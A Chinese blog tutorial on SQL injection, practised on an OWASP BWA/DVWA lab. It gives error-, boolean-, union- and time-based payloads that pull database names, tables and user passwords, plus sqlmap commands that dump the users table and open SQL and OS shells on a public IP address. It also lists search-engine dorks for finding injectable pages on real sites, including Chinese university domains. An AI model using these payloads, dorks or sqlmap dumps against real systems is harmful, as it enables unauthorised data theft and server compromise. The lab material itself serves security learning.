渗透学习-sql注入

渗透学习-sql注入

1、项目环境

目标靶机:OWASP_BWA

测试渗透机:kali2020

2、SQL注入危害

1.数据库信息泄露

2.网页篡改:登陆后台后发布恶意内容

3.网站挂马 : 当拿到webshell时或者获取到服务器的权限以后,可将一些网页木马挂在服务器上,去攻击别人

4.私自添加系统账号

5.读写文件获取webshell

3、注入流程

1、判断是否有sql注入点

2、判断操作系统,数据库,和web应用的类型

3、获取数据库信息,包括管理员信息和拖库

4、加密信息破解,sqlmap可以自动破解

5、提升权限,获得sql-shell、os-shell、登陆应用后台

4、手动注入实战

4.1基于错误的注入

原语句

select first_name,last_name from dvwa.users where user_id=''

输入一个单引号,如果报语法错误说明输入了,有注入点

select first_name,last_name from dvwa.users where user_id='''

4.2基于布尔的注入

思路是闭合sql语句、构造or和and语句、注释多余代码

原语句

select first_name,last_name from dvwa.users where user_id=''
select first_name,last_name from dvwa.users where user_id='  ' or 1=1 -- '     '

用’闭合之前语句,or1=1是布尔为真的条件,–注释掉后面语句

注:只能查到当前表和字段

4.3基于Union的注入

原始语句

select first_name,last_name from dvwa.users where user_id=''

先猜字段

'union select 1 -- '
'union select 1,2 -- '
'union select 1,2,3 -- '
'union select 1,2,3,4 -- '
select first_name,last_name from dvwa.users where user_id=''union select 1 -- ''
select first_name,last_name from dvwa.users where user_id=''union select 1,2 -- ''

获得当前数据库和用户信息

'union select version(),database() -- '

'union select user(),database() -- '
select first_name,last_name from dvwa.users where user_id=''union select version(),database() -- ''
select first_name,last_name from dvwa.users where user_id=''union select user(),database() -- ''

说明:

version() 获得数据库版本信息

database() 获得当前数据库名

user() 获得当前用户名

查询数据库中所有表

information_schema数据库是MYSQL自带的,他提供了访问数据库元数据的方式

元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息

注入语句

select * from information_schema.TABLES\G

查询所有库名

'union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- '
select first_name,last_name from dvwa.users where user_id=''union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- ''

查询所有库中所有表名

'union select table_name,1 from INFORMATION_SCHEMA.tables -- '
select first_name,last_name from dvwa.users where user_id=''union select table_name,1 from INFORMATION_SCHEMA.tables -- ''

同时查询表名及对应库名

'union select table_name,TABLE_SCHEMA from INFORMATION_SCHEMA.tables -- '
select first_name,last_name from dvwa.users where user_id=''union select table_name,TABLE_SCHEMA from INFORMATION_SCHEMA.tables -- ''

原始语句

select first_name,last_name from dvwa.users where user_id=''

查询数据表

'union select 1,column_name from INFORMATION_SCHEMA.column where table_name='users' -- '

'union select 1,column_name from INFORMATION_SCHEMA.column where table_name='USER_PRIVILEGES' -- '

'union select 1,column_name from INFORMATION_SCHEMA.column where table_name='SCHEMA_PRIVILEGES' -- '

注入语句

select first_name,last_name from dvwa.users where user_id=''union select 1,column_name from INFORMATION_SCHEMA.column where table_name='users' -- '

select first_name,last_name from dvwa.users where user_id=''union select 1,column_name from INFORMATION_SCHEMA.column where table_name='USER_PRIVILEGES' -- '
select first_name,last_name from dvwa.users where user_id=''union select 1,column_name from INFORMATION_SCHEMA.column where table_name='SCHEMA_PRIVILEGES' -- '

查询数据列

'union select NULL,user from users --'
'union select NULL,password from users --'
'union select user,password from users --'
'union select NULL,GRANTEE from users --'
'union select password,concat(first_name,'',last_name,'',user) from users --'

sql注入语句解析

use dvwa;
select first_name,last_name from dvwa.users where user_id=''union select password,concat(first_name,'',last_name,'',user) from users --''

4.4基于时间的盲注

有些数据库对错误信息做了安全配置,使得无法通过上述方式探测注入点

此时,通过设置sleep语句来探测注入点

select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- '

5、sqlmap自动化注入

kali自带

windows要安装

操作

img

拿到url以后,就可以使用这个url来注入了

Windows

python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#"

kali

sqlmap -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#"

出现如下结果,则表示sqlmap检测到有可以注入的地方,

img

如果没有检测到可以注入的地方,会显示如下

img

检测到有可以注入的地方,现在我们就来通过这个注入来获取一些数据库的信息

windows

python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs
kali
sqlmap -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs

img

再进一步,获取某个数据库中表的信息

windows

python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa --tables
kali
sqlmap -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa --tables

拿到了dvwa这个库中的所有表的名字

img

再进一步,获取表中的字段信息

windows

python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users --columns

kali

sqlmap -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users --columns

拿到了表中的所有字段

img

拿表中数据

windows

python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users --dump

python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users -C “user,password” --dump
kali
sqlmap -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users --dump

sqlmap -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users -C “user,password” --dump

加cookie

windows

python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="Hm_lvt_8d8d2f308d6e6dffaf586bd024670861=1587903375"

kali

sqlmap -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="Hm_lvt_8d8d2f308d6e6dffaf586bd024670861=1587903375"

goole搜索可能有注入的页面

inurl:.php?id=

inurl:.jsp?id=

inurl:.asp?id=

inurl:/admin/login.php

inurl:.php?id=  intitle:美女

百度搜索

inurl:news.php?id=  site:edu.cn

inurl:news.jsp?id=  site:edu.cn

inurl:news.asp?id=  site:edu.cn

参数列表

-u 加链接

-p 指定参数

–batch 自动确定信息

–cookie 加cookie

–users

–current-user

–dbs

–current-db

-D “database_name” -T “table_name” --columns

-D “database_name” -T “table_name” --C “username,password” --dump

–sql-shell 与数据库交互

–os-shell 获得系统shell

–os-cmd=ls /

.jsp?id= site:edu.cn

inurl:news.asp?id= site:edu.cn




### 参数列表

-u 加链接

-p 指定参数

--batch 自动确定信息

--cookie 加cookie

--users

--current-user

--dbs

--current-db

-D "database_name" -T "table_name" --columns

-D "database_name" -T "table_name" --C "username,password" --dump

--sql-shell 与数据库交互

--os-shell 获得系统shell

--os-cmd=ls /

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值